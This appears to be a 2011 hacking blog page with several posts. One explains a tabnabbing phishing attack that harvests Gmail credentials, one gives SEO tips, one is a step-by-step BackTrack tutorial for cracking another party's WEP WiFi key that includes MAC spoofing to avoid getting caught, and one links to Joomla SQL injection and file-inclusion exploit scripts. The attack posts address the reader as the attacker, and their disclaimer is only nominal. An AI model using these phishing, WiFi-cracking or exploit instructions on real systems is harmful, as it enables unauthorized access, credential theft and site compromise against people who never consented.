Phishing Attack Using Tabnabbing

6/05/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVpOqWk1DSAJKLIjKip-S5lRZrI4t7RucRcBg0q66ThDxVKtuzCldtQQfM8iabX8sYdY2EGrJ2yVoiTKcKwzpSv2CI21A6WxwI7BNbk14eqpGMVpf5nVGLxkB5v0oHX1CG-jUashj_FEo/s1600/tab-napping.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVpOqWk1DSAJKLIjKip-S5lRZrI4t7RucRcBg0q66ThDxVKtuzCldtQQfM8iabX8sYdY2EGrJ2yVoiTKcKwzpSv2CI21A6WxwI7BNbk14eqpGMVpf5nVGLxkB5v0oHX1CG-jUashj_FEo/s1600/tab-napping.jpg" width="320" /></a></div>
<br />
<div class="post-body entry-content">
<span class="Apple-style-span"><span id="7140679708706166316"></span></span><br />
<div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">Most phishing attacks depend on an original deception. If you detect that you are at the wrong URL, or that something is amiss on a page, the chase is up. You've escaped the attackers. In fact, the time that wary people are most wary is exactly when they first navigate to a site.</span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">What we don't expect is that a page we've been looking at will change behind our backs, when we aren't looking. That'll catch us by surprise.</span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><b>How Phishing Attack Using Tabnabbing Works</b></span></span></div>
<div>
<ol>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;"><span class="Apple-style-span"><span id="7140679708706166316">A user navigates to your normal looking site.</span></span></li>
<span class="Apple-style-span"><span id="7140679708706166316">
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">You detect when the page has lost its focus and hasn't been interacted with for a while.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">Replace the favicon with the Gmail favicon, the title with "Gmail: Email from Google", and the page with a Gmail login look-a-like. This can all be done with just a little bit of Javascript that takes place instantly.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">As the user scans their many open tabs, the favicon and title act as a strong visual cue—memory is malleable and moldable and the user will most likely simply think they left a Gmail tab open. When they click back to the fake Gmail tab, they'll see the standard Gmail login page, assume they've been logged out, and provide their credentials to log in. The attack preys on the perceived immutability of tabs.</li>
<li style="margin: 0px 0px 0.25em; padding: 0px; text-indent: 0px;">After the user has entered their login information and you've sent it back to your server, you redirect them to Gmail. Because they were never logged out in the first place, it will appear as if the login was successful.</li>
</span></span></ol>
</div>
</div>
<div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">In this attack, the phisher need not even change the Web address displayed in the browser's navigation toolbar. Rather, this particular phishing attack takes advantage of user trust and inattention to detail, or what Raskin calls "the perceived immutability of tabs." Then, as the user scans their many open tabs, the favicon and title act as a strong visual cue, and the user will most likely simply think they left a Gmail tab open.</span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316">"When they click back to the fake Gmail tab, they'll see the standard Gmail login page, assume they've been logged out, and provide their credentials to log in," Raskin explained. "After the user has enter they have entered their login information and sent it back your server, you redirect them to Gmail. Because they were never logged out in the first place, it will appear as if the login was successful."</span></span></div>
</div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><br /></span></span></div>
<div>
<span class="Apple-style-span"><span id="7140679708706166316"><i>For Firefox users with the Noscript plugin, there is an update to the program that can block these types of tabnabbing attacks.</i></span></span></div>
</div>
<br />
<div>
<br /></div>
-- <br />
<div dir="ltr">
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div>
<br /></div>

Most phishing attacks depend on an original deception. If you detect that you are at the wrong URL, or that something is amiss on a ...

How to Improve Search Engine Ranking

5/30/2011 rahlabs 2

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXGiSVGYFPWtqsit25IAkQR8uxw8iIbfFjWP9FvhD8P1xp4t76BgLIrqzewK-hb9KSZwcCGSTiAZPGSEaujoGGqfh4jlHiD5aDVWz-5PPFxbt2FXaUKBvnkdBH8Wr0BoiTwYEAplDKFEA/s1600/improve-search-engine-ranking.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="191" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXGiSVGYFPWtqsit25IAkQR8uxw8iIbfFjWP9FvhD8P1xp4t76BgLIrqzewK-hb9KSZwcCGSTiAZPGSEaujoGGqfh4jlHiD5aDVWz-5PPFxbt2FXaUKBvnkdBH8Wr0BoiTwYEAplDKFEA/s1600/improve-search-engine-ranking.jpg" width="320" /></a></div><br />
Showing up on search engines is one of the most critical ways to increase website traffic and expose your content, product or service to people who might be interested in what you have to offer. Most of the major search engines utilize an algorithm to determine where a website ranks. The search engines have set up specific criteria that a website must meet to get to the top of the list. The criteria are different for every engine, but all engines share several commonalities. It all boils down to the type and amount of content provided on a given website, the level of optimization done on the site, and the popularity of the website (link popularity/PageRank). Tailoring your website for improved search engine rankings is also known widely as search engine optimization, or SEO.<br />
<br />
<strong>Steps</strong><br />
<h3>[1]. Research the keywords:</h3>Decide what search queries you want to show up for. Do some research on how many people are actually searching for your site. Many times it is best to consult a "<i>natural search engine optimization</i>" professional during this process. There are several tools available from Google, Overture, and third party software developers that can make the keyword research process easier.<br />
<h3>[2]. Think outside of the box:</h3>Don't just focus on your main keywords. The first thing to realize when targeting keywords is that it is not all about ranking for the most popular keyword. The most successful search engine marketing and optimization campaigns target the most relevant keywords. For example, if you are a realtor in a particular area, don't just optimize your site for "<i>real estate</i>." Optimize your site for dentist, florist, movie theaters, etc. You would be amazed how many unique visitors will come through to your site when "<i>outside of the box</i>" thinking occurs.<br />
<h3>[3]. Focus on the end user:</h3>If you spend too much time trying to please the Search Engine Spiders, you may forget about the end user. Think about what your target market needs to accomplish their goals, and then put it on your site so that they can find it. The phrase "content is king" was born about 6 years ago, and it still holds true today. If you want to be relevant for specific keywords, than you need superior or at least highly competitive content. Write about 225-300 words of copy for each keyword and plant it on your site each day. Grow, grow, and grow. On average, one can target between 3-5 like keyword phrases per page. Make it as natural as possible and the Search Engines will reward you will a first page ranking.<br />
<h3>[4]. Describe EVERYTHING:</h3>Make sure that all the pages of the site of have custom titles and descriptions. If your site is using the same tags for all the pages, you are not helping search engines figure out the subject or relevance of your individual pages. Regarding Meta Tags, there are 2 very important fields:<br />
* <i><strong>Title Tag -</strong></i> arguably the most important SEO tag for any website. Google supports approx. 60 characters in the title, while Yahoo allows for up to 110 characters in the title. It is important to target the most critical keywords in the Title. Every page should have a unique Title.<br />
* <i><strong>META Description Tag -</strong></i> also very important for every page on the site. Some engines do display the description defined, while others do not. All search engines do read the description tag, and do utilize the content found within in the ranking process. A good rule of thumb is to create descriptions that do not exceed 200-250 characters. The META keyword Tag is essentially useless in today's SEO market, but is often times good to utilize as a placeholder for the keywords targeted.<br />
<h3>[5].Maintain Consistency: </h3>Keep the structure, navigation and URL structure of your site simple enough for search engines to follow. Remember that search engines cannot parse your navigation if it's using flash or javascript. So try to stay close to standard HTML when it comes to Navigation. URLs with dynamic parameters (?, &, SIDs) usually do not perform when it comes to search engine rankings<br />
<h3>[6]. Create a site map: </h3>Create a site map that tells people where everything is on your site. You will get about a 1% click through rate to your site map. However, it will do wonders for those who know what site maps do, and the Search Engines will like it as well.<br />
<h3>[7]. Build up your popularity: </h3>So now you have determined the right keywords on the right pages, you've created all of the necessary content; you've optimized all of the content to the best of your capabilities. Congratulations - you're now in the top 80 percentile (from an optimization standpoint) of the websites listed for the keywords you're trying to target. So how do you get a 1st, 2nd, or 3rd page listing? The answer is quite simple: You have to be the most popular, too. That's right, it's a popularity contest. In other words, how many other websites know you (link to you), and how popular are they? This is typically referred to as link popularity, or called PageRank by Google. The more sites that link to your site the better, and the more popular the site linking to you the more value you will receive for your link popularity. The best types of "link building" are directory registration, text link advertising, and press release distribution. Try to offer valuable information or tools so that other people are motivated to link to your site. Well linked sites (that don't use spamming) do better in search engines.<br />
<strong>Tips</strong><br />
* Search engine algorithms assess the relevance of your page to any particular keyword by the content on your pages. For instance if you are selling "<i>widgety widgets</i>" on your site and you do not mention "<i>widgety widgets</i>" on your page text, search engines have very little to work with. Also make sure that you are not spamming search engines by using the same keyword over and over.<br />
* Although not as important as they used to be, reciprocal links do still matter with Google. Reciprocate with similar websites and include keywords near the links on your site.<br />
* If you want to optimize well for your city, state etc., make sure to sprinkle geographic search terms throughout. Include it in text as well as set apart. Search engines do not know where you are unless you tell them.<br />
* Bold and italics can make your keywords stand out more with the search engines.<br />
* Interior links within your site will improve SEO; Sitemaps are a great way to generate internal links and make your website better too!<br />
* Correct broken links, search engines do not like dead ends.<br />
* If you have over 30 keywords that mean business to you, then you might want to hire a Professional Search Engine Copywriting firm or outsource it to freelancers.<br />
* Anyone who can go to google and type in "<i>keyword research</i>" will find very many tools that mixed with common sense should suffice quite well.<br />
* Now when digging deeper to understand the traffic patterns of certain keywords use Wordtracker's GTrends Tool. You can get an idea on the amount of competition on Google compared to the amount of searches. Now these numbers are far from accurate, BUT if you can kind of step back and take a broader look at things, don't worry so much about the numbers but compare the trends since it shows the past history. See if its steady traffic, traffic that is going extinct, or traffic just starting to peak. By using this tool, you can many times find some golden opportunities.<br />
* It really comes down to just using common sense. Just sit down and think, "What would other people search to find this? What would I search for to find this?" Try phrases in your keyword research tool to get new ideas and find the higher trafficked most targeted phrases. DO NOT look at the numbers spat back out at you by these programs as accurate numbers, they rarely are. You can still use these tools to get ideas on new keywords, search patterns of users, and many other things, that mixed with the information of trends in that area, can really help you.<br />
Warnings<br />
* If you are going to use freelancers, beware of duplicate content. Always make sure to check the content that you get by searching for the content on Google, Yahoo, and MSN.<br />
* Never have hyperlinks like "<i>click here</i>", hyperlinks should always be keywords, long hyperlinks with multiple keywords are even better.<br />
* Don't hide content.<br />
* Don't create duplicate websites.<br />
* Remember that if you use black-hat SEO techniques, you run the risk of getting penalized by the search engines and having your web site permanently removed from their index.</span></span></div></div>-- <br />
<div dir="ltr">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br />
</div>

Blogging SEO How to Improve Search Engine Ranking

Showing up on search engines is one of the most critical ways to increase website traffic and expose your content, product or service to pe...

Hack WiFi network with BackTrack

5/16/2011 rahlabs 1

<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYbCbgH0SWfgYU-dLnIE9jTji_qaJXWDcAMH2MXZ27hey8y6fCLMT-wJD64Ijs5We9h4GysHAQ_5AOtATk8BuyjeG6mSPIMKe-OLHRoJL40EWR_N8NiWYkpzsdxFwF2P_8dOOqIvT66nk/s1600/hack-wifi-with-backtrack.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Hack WiFi network with BackTrack " border="0" data-original-height="600" data-original-width="1280" height="299" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYbCbgH0SWfgYU-dLnIE9jTji_qaJXWDcAMH2MXZ27hey8y6fCLMT-wJD64Ijs5We9h4GysHAQ_5AOtATk8BuyjeG6mSPIMKe-OLHRoJL40EWR_N8NiWYkpzsdxFwF2P_8dOOqIvT66nk/s640/hack-wifi-with-backtrack.jpg" title="Hack WiFi network with BackTrack " width="640" /></a></div>
<span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;"><br /></span>
<span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;">Wifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed Internet and network connections (</span><i style="border-width: 0px; font-family: "helvetica neue", arial, sans-serif; font-size: 12px; margin: 0px; padding: 0px;">as if you didn't know..</i><span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;">), Wifi has become an integral part of our lives today. Wifi is secured using a WPA protocol which intends to secure Wireless LANs like Wired LAN's by encrypting data over radio waves, however, it has been found that WEP is not as secure as once believed.Now almost anyone can </span><b style="border-width: 0px; font-family: "helvetica neue", arial, sans-serif; font-size: 12px; margin: 0px; padding: 0px;">hack into a Wifi network</b><span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;"> by generating the valid WEP key using </span><a href="http://www.hackerschronicle.com/search/label/Backtrack" style="border-width: 0px; color: #104e8b; font-family: "helvetica neue", arial, sans-serif; font-size: 12px; margin: 0px; padding: 0px; text-decoration-line: none;" target="_blank" title="Backtrack 3 - The ultimate security tool"><b style="border-width: 0px; margin: 0px; padding: 0px;">Backtrack</b></a><span style="background-color: white; font-family: "helvetica neue", arial, sans-serif; font-size: 12px;">. Read on to learn how </span>..</div>
<span class="Apple-style-span" style="background-color: white; font-family: "helvetica neue" , "arial" , sans-serif; font-size: 12px; line-height: 22px;"> <div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<b style="border-width: 0px; margin: 0px; padding: 0px;"><i style="border-width: 0px; margin: 0px; padding: 0px;"><span style="border-width: 0px; font-size: x-small; margin: 0px; padding: 0px;">Disclaimer:</span></i></b> <i style="border-width: 0px; margin: 0px; padding: 0px;"><span style="border-width: 0px; font-size: x-small; margin: 0px; padding: 0px;">This tutorial is given for educational purposes only and that for any misuse of this information, the blogger cannot be held liable.</span></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">SETTING UP THE CARD AND THE CONSOLE</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Boot up Backtrack on your virtual machine/laptop and open up the <b style="border-width: 0px; margin: 0px; padding: 0px;">command console</b> and type the commands as they are given -</div>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">ifconfig</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
This is the <a href="http://www.hackerschronicle.com/search/label/Linux" style="border-width: 0px; color: #104e8b; margin: 0px; padding: 0px; text-decoration: none;" target="_blank" title="More Linux articles at Prohack"><b style="border-width: 0px; margin: 0px; padding: 0px;">Linux</b></a> equivalent of ipconfig, you will see the network adaptors in your system. See which one is for Wi-Fi. A few examples are wlan0, wifi0, etc.</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airmon-ng</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
This command will initialize the Wi-Fi network monitoring & will tell you how many networks are in range</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airmon-ng stop [Wi-Fi Card name(without the quotes)]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
This command will stop the cards broadcast and reception immediately</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">macchanger –mac [Desired MAC address] [Wi-Fi card name]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
this command will change the current MAC address to any MAC address you desire, so that you don't get caught later</div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airmon-ng start [Wi-Fi Card name]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
You will see another extra adaptor that is set on monitor mode, use that adaptor for all further purposes in the following commands where – '[Wi-Fi card name]' appears</div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">DUMPING PACKETS</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Once you have set up all the parameters, you need to <b style="border-width: 0px; margin: 0px; padding: 0px;">sniff and dump data packets</b> in order to get the key.You can do so by using following commands. On the command, console type these commands -</div>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airodump-ng [Wi-Fi card name]</i></li>
</ul>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
Copy and paste the BSSID in the following command and execute it<b style="border-width: 0px; margin: 0px; padding: 0px;"><u style="border-width: 0px; margin: 0px; padding: 0px;"></u></b></div>
</blockquote>
<ul style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 0px 0px 15px; padding: 0px;">
<li style="border-width: 0px; list-style-position: inside ! important; list-style-type: circle ! important; margin: 0px 0px 0px 15px; padding: 3px 0px;">  <i style="border-width: 0px; margin: 0px; padding: 0px;">airodump-ng –c [Channel Number] –w [Desired Filename for later decryption] --bssid [BSSID] [Wi-Fi Card name]</i></li>
</ul>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
As you execute the command, you will see a certain number of beacons and data packets that will be stored in the filename you have given. The file will be stored in the root of the system drive (<i style="border-width: 0px; margin: 0px; padding: 0px;">Click on Computer and you will see the file</i>).The file will be present in two formats: *.cap, *.txt.</div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">SPEEDING UP THINGS</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
However packet dumping is quite a slow process,we need to speed up things to save our time.Open a new console after the first data packet has been stored and type the command in the new console and execute it<b style="border-width: 0px; margin: 0px; padding: 0px;"><u style="border-width: 0px; margin: 0px; padding: 0px;"></u></b></div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">airreplay-ng -1 0 –a [BSSID] –h [FAKED MAC ADDRESS] -e [Wi-Fi name (you wish to hack)] [Wi-Fi card name]</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
As you type this command you will see that the data packets required for breaking the key will increase dramatically thereby saving you a lot of time.</div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;"><b style="border-width: 0px; margin: 0px; padding: 0px;">REVEALING WEP KEY</b></i></div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Open another console once you have around 20,000 data packets and type the following command to reveal the WEP key.<b style="border-width: 0px; margin: 0px; padding: 0px;"><u style="border-width: 0px; margin: 0px; padding: 0px;"></u></b></div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n 64 –b [BSSID] [Filename without the extension]  </i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
As you type this command, you will see that a key will appear in front of you in the given below format:</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">XX:XX:XX:XX</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
It is not necessary that the key should have exactly the same digits as shown above so please don't freak out if you see a 10 digit or 14 digit key. Also if the decryption fails, you can change the bit level of the decryption in the command:</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n [BIT LEVEL] –b [BSSID] [Filename without extension]</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Remember, the bit level should be a number of 2<sup style="border-width: 0px; margin: 0px; padding: 0px;">n</sup> where n:1,2,3,4…</div>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
e.g.</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n 32 –b [BSSID] [Filename without the extension]</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
OR</div>
<blockquote style="background-color: #f7f7f7; border: 1px solid rgb(221, 221, 221); color: black; font-family: 'Courier New','MS Sans Serif',sans-serif,serif; font-style: normal; margin: 5px auto 15px; padding: 10px; width: 527px;">
<div style="border-width: 0px; font-size: 12px; line-height: 20px; margin: 5px 0px; padding: 5px 0px;">
<i style="border-width: 0px; margin: 0px; padding: 0px;">aircrack-ng –n 128 –b [BSSID] [Filename without the extension] etc. etc.</i></div>
</blockquote>
<div style="border-width: 0px; font-size: 12px; line-height: 18px; margin: 0px; padding: 0px 0px 15px;">
Now just login using the WEP key you got.</div>
</span></div>

Backtrack Hacking Tutorials Tutorials WEP Wi-Fi Hack WiFi network with BackTrack

Wifi or Wireless Fidelity is the name of a popular wireless networking technology that uses radio waves to provide wireless high-speed ...

Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin

4/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">Joomla Hacking Tools: Hack Joomla with self-written tools by Valentin</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="4213644759481558585"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYiwOeQaV9uiLc5PoAXLpTcTY4bHPTb2__6akZMPIgEUJeGWV7NzxUtRxGIN1DEnfLGYhpdoJE_qDwz7zItQUG671DPS6H1qb41ugjV_ka5nYB6-kAGoWiC2A9S0QKOV7aZtNwcdwDqDCV/s1600/Joomla+Hacking+Tools+Hack+Joomla+with+self-written+tools+by+Valentin.png" style="color: #3778cd; text-decoration: none;"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5603894160709013122" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYiwOeQaV9uiLc5PoAXLpTcTY4bHPTb2__6akZMPIgEUJeGWV7NzxUtRxGIN1DEnfLGYhpdoJE_qDwz7zItQUG671DPS6H1qb41ugjV_ka5nYB6-kAGoWiC2A9S0QKOV7aZtNwcdwDqDCV/s400/Joomla+Hacking+Tools+Hack+Joomla+with+self-written+tools+by+Valentin.png" style="background-color: transparent; border: 1px solid transparent; cursor: pointer; display: block; height: 254px; margin: 0px auto 10px; padding: 8px; position: relative; text-align: center; width: 291px;" /></a><br />
<div style="text-align: center;"><b>Joomla Hacking Tools: Hack Joomla with self-written tools by <a href="http://www.xenuser.org/" style="color: #3778cd; text-decoration: none;">Valentin</a></b></div><div style="text-align: center;"><br />
</div>Manual testing is awesome, but automated checks are faster and maybe even more reliable. Here are some self-written tools you could use for your purposes:<br />
<br />
#1<br />
<b>Joomla QPersonel Exploit</b><br />
<a href="http://www.xenuser.org/exploits/joomla_com_qpersonel_sploit.py">http://www.xenuser.org/exploits/joomla_com_qpersonel_sploit.py</a><br />
<br />
#2<br />
<b>Automated Joomla SQL Injection Exploiter<br />
</b><a href="http://www.xenuser.org/exploits/joomla_sqli_sploiter.py">http://www.xenuser.org/exploits/joomla_sqli_sploiter.py</a><br />
<br />
#3<br />
<b>Joomla BF Quiz Exploit<br />
</b><a href="http://www.xenuser.org/exploits/joomla_com_bfquiz_sploit.py">http://www.xenuser.org/exploits/joomla_com_bfquiz_sploit.py</a><br />
<br />
#4<br />
<b>Column Fuzzer<br />
</b><a href="http://xenuser.org/tools/column_finder.py">http://xenuser.org/tools/column_finder.py</a><br />
<br />
#5<br />
<b>Simple SQL Injection Vulnerability Scanner<br />
</b><a href="http://www.xenuser.org/tools/sqli_scanner.py">http://www.xenuser.org/tools/sqli_scanner.py</a><br />
<br />
#6<br />
<b>Simple Log File Analyzer<br />
</b><a href="http://www.xenuser.org/tools/scan_log.py">http://www.xenuser.org/tools/scan_log.py</a><br />
<br />
#7<br />
<b>Simple Local File Inclusion Exploiter<br />
</b><a href="http://www.xenuser.org/tools/lfi_sploiter.py">http://www.xenuser.org/tools/lfi_sploiter.py</a><br />
<br />
These tools can help you to exploit vulnerabilities within Joomla or some extensions.<br />
<br />
<b>NOTE: </b>Read the help (included in those tools) for details.<br />
<br />
<div style="text-align: center;"><b>The Simple Log File Analyzer could be used for scanning your Apache log files. It shows if there are hack attempts.</b></div></span></div></span><br />
<div><br />
</div>-- <br />
<div dir="ltr">Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br />
</div>

